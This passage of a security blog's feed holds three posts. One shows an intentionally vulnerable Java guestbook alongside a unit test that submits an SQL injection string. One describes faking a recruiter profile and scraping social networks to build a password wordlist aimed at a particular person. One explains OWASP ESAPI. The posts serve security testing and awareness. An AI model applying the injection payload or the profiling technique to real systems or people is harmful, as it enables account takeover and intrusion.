&lt;b&gt;Controller&lt;/b&gt;&lt;br /&gt;
&lt;pre name=&quot;code&quot; class=&quot;java&quot;&gt;public class GuestbookServlet extends HttpServlet {
   public void doPost(HttpServletRequest req, HttpServletResponse resp) {
      String action = request.getParameter( &quot;action&quot; );
      if ( &quot;SAVE&quot;.equals( action ) ) {
         String message = request.getParameter( &quot;message&quot; );
         String fromUser = request.getParameter( &quot;fromUser&quot; );
         String fromEmail = request.getParameter( &quot;fromEmail&quot; );
 
         GuestbookFacade.getInstance().saveEntry( message, fromUser, fromEmail );
      }

      List&amp;lt;Entry&amp;gt; entries = GuestbookFacade.getInstance().getEntries();
      request.setAttribute( &quot;entries&quot;, entries );
   }
}
&lt;/pre&gt;&lt;br /&gt;
&lt;b&gt;View&lt;/b&gt;&lt;br /&gt;
&lt;pre name=&quot;code&quot; class=&quot;html&quot;&gt;&amp;lt;html&amp;gt;
&amp;lt;head&amp;gt;&amp;lt;title&amp;gt;Guestbook&amp;lt;/title&amp;gt;&amp;lt;/head&amp;gt;
&amp;lt;body&gt;
   &amp;lt;%
      List&amp;lt;Entry&amp;gt; entries = request.getAttribute( &quot;entries&quot; );
      for ( Entry e : entries ) {
   %&amp;gt;
   &amp;lt;div class=&quot;entry&quot;&amp;gt;&amp;lt;%= e.getMessage() %&amp;gt; - From &amp;lt;a href=&quot;mailto:&amp;lt;%= e.getFromEmail(); %&amp;gt;&quot;&amp;gt;&amp;lt;%= e.getFromUser() %&amp;gt;&amp;lt;/a&amp;gt;
   &amp;lt;%
      }
   %&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/pre&gt;&lt;br /&gt;
This is a very basic application (that is full of security flaws I might add, but we will ignore that little tidbit for now and let our test catch them) that we will now write an example SecurityTestCase for.&lt;br /&gt;
&lt;br /&gt;
&lt;pre name=&quot;code&quot; class=&quot;java&quot;&gt;public class SecurityTestGuestbook extends TestCase {
   private MockHttpServletRequest request;
   private MockHttpServletResponse response;
   private HttpServlet servlet = new GuestbookServlet();

   public void setup() {
      request = new MockHttpServletRequest();
      response = new MockHttpServletResponse();
   }

   public testSQLInjection() throws Exception {
      final String[] injections = new String[] { &quot;&#39; or 2=2--&quot; };
      request.initialize();
      response.initialize();
      request.setParameter( &quot;action&quot;, &quot;SAVE&quot; );
      request.setParameter( &quot;fromUser&quot;, &quot;Beef&quot; );
      request.setParameter( &quot;fromEmail&quot;, &quot;email@domain.com&quot; );
      for ( String test : injections ) {
         request.setParameter( &quot;message&quot;, test );
         try {
            servlet.doPost( request, response );
            fail(&quot;No exception thrown - SQL Injection Possible&quot; );
         } catch (Throwable t) {
            // Success
         }
      }
   }
}
&lt;/pre&gt;&lt;br /&gt;
This is just a single quick example, but it illustrates the point nicely. We will leave verifying functionality works to our standard unit tests, but write another test suite specifically to test your security controls. You should probably have more granular tests that just testSQLInjection - maybe testRequestSQLInjectionMessage, testRequestPersistentXSSMessage, etc.&lt;br /&gt;
&lt;br /&gt;
I would love to hear what people think about this as a development concept, especially those who work in TDD and Agile environments. I would also be interested to hear from people who have used some of the macro based front end testing tools to see if they have created similar view test suites.</content><link rel='replies' type='application/atom+xml' href='http://yet-another-dev.blogspot.com/feeds/6373199580672637515/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://yet-another-dev.blogspot.com/2010/01/new-type-of-security-testing.html#comment-form' title='9 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2278699633637555082/posts/default/6373199580672637515'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2278699633637555082/posts/default/6373199580672637515'/><link rel='alternate' type='text/html' href='http://yet-another-dev.blogspot.com/2010/01/new-type-of-security-testing.html' title='A new type of security testing...'/><author><name>Chris Schmidt</name><uri>http://www.blogger.com/profile/00176557422611541107</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh6bOTMV0NKNtfXZvgAu95knHNmmoQvNBcKLWuPIS3XQFXDDxDohvUdq6iJSPJ_kFFcdUyoMxLkBjl1SlSt7eMfU2PmCr08xDsKnkdR6n44IAx305oYX71ZIngokgqS9Q/s1600/187576_540702549_2394666_n.jpg'/></author><thr:total>9</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2278699633637555082.post-3486865607474853410</id><published>2010-01-13T00:37:00.000-07:00</published><updated>2010-01-13T00:37:31.498-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="cracking"/><category scheme="http://www.blogger.com/atom/ns#" term="Google"/><category scheme="http://www.blogger.com/atom/ns#" term="password stealing"/><category scheme="http://www.blogger.com/atom/ns#" term="security"/><title type='text'>Cracking Passwords with Teh Google</title><content type='html'>Have you ever googled yourself? You may have to sift through several pages of results about people with the same name that aren&#39;t you, but you would be surprised how easy it is to find a wealth of information about yourself by combinging information retrieved by your social networking profiles being indexed. &lt;br /&gt;
&lt;br /&gt;
Have you ever tried your hand at cracking a password? Chances are if you have, you have downloaded a word list and may have eventually cracked a password (unless you happen to have a cluster of PS3&#39;s laying around to do all the processing for you) &lt;br /&gt;
&lt;br /&gt;
Password cracking is a lost art that often requires a lot of patience. There are two primary methods of cracking passwords: online and offline. When you attempt to crack a password online, it is often via a &#39;brute-force&#39; style attack and has to be throttled carefully to avoid immediate detection (although, any competent system admin will be able to spot an online BF from a mile away after 10 shots of tequila) Offline, is often much more difficult to accomplish, simply because in order to crack a password offline, you either need to obtain a password list, or at bare minimum the hash of the password that you are trying to crack. &lt;br /&gt;
&lt;br /&gt;
All that aside, one of the most difficult and time consuming parts of cracking passwords is starting with the right wordlist. There are tons of really horrible wordlists spread all across the internet, and even a handful of good ones. I am fairly partial to the &lt;a href=&quot;http://sec.angrypacket.com/files/common-passwords.txt&quot;&gt;Common Passwords Dictionary&lt;/a&gt; and the extremely large &lt;a href=&quot;http://www.linux-pour-lesnuls.com/traduc/Dictionnaires/dic-0294/&quot;&gt;dic-0294&lt;/a&gt; when I am flying blind. &lt;br /&gt;
&lt;br /&gt;
However, with the wealth of knowledge available on the internet about everyone you know from sites like facebook, myspace, linkedin, hi5, twitter, and the list goes on and on, there really is no need to fly blind anymore when cracking passwords. &lt;br /&gt;
&lt;br /&gt;
Now before I go much further, let me warn you that this is a tedious process right now as I am not aware of any tools in the tubes that do this for you (although, such a tool probably would not be to difficult to build) Also I would like to note that as a security professional, the information that I am providing is as much a warning to people about how easy it is to get their password, as it is a informative post about something that has been sorely neglected in security presentations (that I have been privy too).&lt;br /&gt;
&lt;br /&gt;
To keep this relatively brief while still getting the point across, the example I am providing below is purely fictional, and any similarity to actual people is completely unintentional.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Step 1: Recon&lt;/b&gt;&lt;br /&gt;
If you personally know your target, this step is pretty much already done - however, if you don&#39;t know the target, the first step is to find out some very basic information about them. This is all public domain information that is easy to gain through the use of search or social engineering. For the purpose of this example we will say that I am trying to crack the password of a coworker named Don Johnson.&lt;br /&gt;
&lt;br /&gt;
Now I know very little about Don other than the company he works for (obviously) and the department that he is in. We will say that he is the director of Human Resources. Our fictitious company name will be Acme Inc.&lt;br /&gt;
&lt;br /&gt;
So seeing as how I know about him only in his job, LinkedIn seems the obvious starting point for me. Now, LinkedIn is one of those funny psychological experiments that proves that people really don&#39;t care about their privacy, no matter what they say. Their profile may say that they are only interested in reconnecting with previous coworkers, but if a recruiter requests to be in their network, they will almost always click - if nothing else, for curiosity sake. &lt;br /&gt;
&lt;br /&gt;
&lt;u&gt;Google Search #1: site:linkedin.com &quot;Don Johnson&quot; +Acme +Denver&lt;/u&gt;&lt;br /&gt;
&lt;br /&gt;
9 times out of 10, the Don Johnson we were looking for will be in the top 5 results returned from google. Once I have found his profile, it is quick and easy to get a free gmail account, create a fake recruiter profile on linkedin, and start adding a bunch of people, with Don among those being added. The reason for adding several people is that Don may be a little paranoid and if a recruiter with no network requests to be in his network, he may think twice about allowing him - however, if Don sees that this recruiter is acting like most every other recruiter on linkedin, and obsessively adding 10-20 people a day, well he will probably think nothing of it and allow the request. Once he is in your network you can view his full profile which will often include such information as all of his prior employers, education, blogs, etc. Generally, I will take a scrape of the entire profile (a scrape can be as simple as using File -&gt; Save Page As in your browser) and use the information and picture from that profile to identify him on other networks. &lt;br /&gt;
&lt;br /&gt;
Let us say that in the recon of my target I discovered a linkedin, facebook, myspace, and pandora account all linked to Don. I have scrapes of his profile pages from each network, along with an archive of comments and wall postings on friends profiles from the last 60 days. &lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Step 2: Assimilation of Information&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
This is where things really start to get interesting. You have a wealth of information now about your target. You know who he is dating, the names of all his pets (real and virtual), a list of his favorite musicians, movies, and books (invaluable), a collection of nicknames, his birtday, and much much more. &lt;br /&gt;
&lt;br /&gt;
I specifically call out the fact that music, movies, and books are invaluable information to know about a target. Often, people will use a term or character name from their favorite stories as all or part of their password. So that being said, you can take Don&#39;s favorite songs look up the lyrics and start your wordlist. Next, look up a character list from his favorite books and movies, then lookup memorable quotes from those characters (imdb.com) and (wikipedia) are your friends here. Keep doing this with all the information you have until you have a comprehensive word list built specifically around the social profile of your target. &lt;br /&gt;
&lt;br /&gt;
This is it, this is all you need to do. I have a relatively high (60-70%) success rate when building a custom word list using this method and if I were to take the time to build some tool that used the full power of the internet to build related information, I could almost guarantee a 90%+ success rate at using this method. &lt;br /&gt;
&lt;br /&gt;
So the next time you are updating your profile on myspace or facebook, think about the password that you are using to login to that site and see if you can connect the dots between your password and any of the information on your profile. I would say that for most people, they will be able to make the connection fairly quickly and most of the time.&lt;br /&gt;
&lt;br /&gt;
I purposefully described this process in a fairly abstract manner, as it is a very effective means of social engineering without having any direct contact with the target, and really, there are enough bad guys in the world already.&lt;br /&gt;
&lt;br /&gt;
We rely on technology to keep our personal information secure and safe, yet the true dangers still lie in the information that we publicly disclose without a second thought. This is no different from the days of dumpster diving, only google is a much cleaner and organized dumpster.</content><link rel='replies' type='application/atom+xml' href='http://yet-another-dev.blogspot.com/feeds/3486865607474853410/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://yet-another-dev.blogspot.com/2010/01/cracking-passwords-with-teh-google.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2278699633637555082/posts/default/3486865607474853410'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2278699633637555082/posts/default/3486865607474853410'/><link rel='alternate' type='text/html' href='http://yet-another-dev.blogspot.com/2010/01/cracking-passwords-with-teh-google.html' title='Cracking Passwords with Teh Google'/><author><name>Chris Schmidt</name><uri>http://www.blogger.com/profile/00176557422611541107</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh6bOTMV0NKNtfXZvgAu95knHNmmoQvNBcKLWuPIS3XQFXDDxDohvUdq6iJSPJ_kFFcdUyoMxLkBjl1SlSt7eMfU2PmCr08xDsKnkdR6n44IAx305oYX71ZIngokgqS9Q/s1600/187576_540702549_2394666_n.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2278699633637555082.post-719257352343429609</id><published>2010-01-11T20:10:00.000-07:00</published><updated>2010-01-11T20:10:08.025-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="application security"/><category scheme="http://www.blogger.com/atom/ns#" term="ESAPI"/><title type='text'>What is the ESAPI?</title><content type='html'>It has been great to see so much buzz about the OWASP ESAPI in the tubes lately. It is very exciting for me to be involved in a project that has people excited and even more important it is fantastic to have people evaluating it and pointing out where it needs work. This is some of the most invaluable feedback a developer can get!&lt;br /&gt;
&lt;br /&gt;
That being said, I have seen some questions floating around to the effect of &quot;Why use ESAPI for authentication and access control when we already use *insert framework here*?&quot; &lt;br /&gt;
&lt;br /&gt;
This is a very valid question, and I think that some people may have gotten the wrong idea about what the ESAPI is really trying to accomplish. &lt;br /&gt;
&lt;br /&gt;
There are some fantastic frameworks out there for logging, authentication, cryptography and all the things that the ESAPI does, and it is not the intention of the ESAPI to replace these frameworks, but rather to provide a central interface for developers to access the functionality of those frameworks in a simple fashion. &lt;br /&gt;
&lt;br /&gt;
While we provide a reference implementation of ESAPI, a good deal of the code provided is to provide an example, or a plug and play environment for the ESAPI itself. It is not only &lt;b&gt;intended&lt;/b&gt; but even &lt;b&gt;reccomended&lt;/b&gt; that if you are using the ESAPI in a production application, that you use the pieces of the reference implementation that work for you, but also create wrapper objects to use your existing security controls through the ESAPI. This provides several things that are deeply important to having a secure application, especially in an agile environment. &lt;br /&gt;
&lt;br /&gt;
&lt;ol&gt;&lt;li&gt;Provides a standard and central API for developers to access security controls which makes the job of the developer simpler. If the developer knows that anytime he needs to log a user in he should call &lt;b&gt;ESAPI.authenticator().login( request, response )&lt;/b&gt; it makes it easier to remember and easy to implement.&lt;/li&gt;
&lt;li&gt;Decouples the application from the security frameworks in use. This is probably the most important piece of the puzzle, at least in my mind. Things like access control checks, output encoding, and logging are sprinkled throughout the entire codebase of an application, which makes it a very painful process to migrate to a new framework if you ever need to. Imagine you have an application which consists of several hundred class files and and several hundred JSP files. One day you decide that you want to migrate from using Spring ACEGI to JAAS. You now have to change the code in every class file where you access that library to use the new library. If you were using the ESAPI, you would have a wrapper implementation of Authenticator and AccessController that delegated to your framework. Now you just have to write a new wrapper class and change a properties file and your job is done!&lt;/li&gt;
&lt;/ol&gt;&lt;br /&gt;
It has been said that ESAPI should be used to &quot;fill in the gaps&quot; where other security controls do not work, such as output and input encoding. I think that should be rephrased to reflect the Reference Implementation of the ESAPI and not the ESAPI itself. &lt;br /&gt;
&lt;br /&gt;
That being said perhaps it would be helpful if there was an incubator project under the ESAPI umbrella that provided wrappers for the more popular frameworks. Having that could allow the developers have the ability to drop in the ESAPI then use wrapper jars as *plug-ins* to the API. So if you were using JAAS under the covers for your authentication and access control framework, you could drop in ESAPI.jar and ESAPI-JAAS.jar into your classpath, update your ESAPI.properties to use org.owasp.esapi.provider.authentication.JAASAuthenticator and you are off to the races.&lt;br /&gt;
&lt;br /&gt;
What do you think?</content><link rel='replies' type='application/atom+xml' href='http://yet-another-dev.blogspot.com/feeds/719257352343429609/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://yet-another-dev.blogspot.com/2010/01/what-is-esapi.html#comment-form' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2278699633637555082/posts/default/719257352343429609'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2278699633637555082/posts/default/719257352343429609'/><link rel='alternate' type='text/html' href='http://yet-another-dev.blogspot.com/2010/01/what-is-esapi.html' title='What is the ESAPI?'/><author><name>Chris Schmidt</name><uri>http://www.blogger.com/profile/00176557422611541107</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh6bOTMV0NKNtfXZvgAu95knHNmmoQvNBcKLWuPIS3XQFXDDxDohvUdq6iJSPJ_kFFcdUyoMxLkBjl1SlSt7eMfU2PmCr08xDsKnkdR6n44IAx305oYX71ZIngokgqS9Q/s1600/187576_540702549_2394666_n.jpg'/></author><thr:total>3</thr:total></entry></feed>